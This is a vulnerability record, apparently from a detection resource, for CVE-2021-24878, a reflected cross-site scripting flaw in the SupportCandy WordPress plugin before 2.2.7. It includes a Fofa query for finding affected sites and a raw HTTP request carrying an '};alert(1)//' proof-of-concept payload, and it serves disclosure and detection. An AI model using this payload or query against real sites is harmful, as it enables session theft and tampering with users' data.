🔙 목록으로 돌아가기

CVE-2021-24878: SupportCandy < 2.2.7 - Reflected Cross-Site Scripting

TitleSupportCandy < 2.2.7 - Reflected Cross-Site Scripting
Authorpopcorn94
SeverityMedium
ImpactAttackers can inject malicious JavaScript via reflected XSS in pages with wpsc_create_ticket shortcode, potentially stealing user session cookies or manipulating support ticket data.
RemediationFixed in 2.2.7
CVSS Score6.1
EPSS Score0.00864
CVE IDCVE-2021-24878
CWE IDCWE-79
Fofa Querybody="/wp-content/plugins/supportcandy/"
Tags cve cve2021 wordpress wpscan wp-plugin supportcandy xss vkev vuln

🔍 Vulnerability Description

The SupportCandy WordPress plugin before 2.2.7 does not sanitise and escape the query string before outputting it back in pages with the [wpsc_create_ticket] shortcode embed, leading to a Reflected Cross-Site Scripting issue

🌐 HTTP Request

GET /?};alert(1)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24878.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24878.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A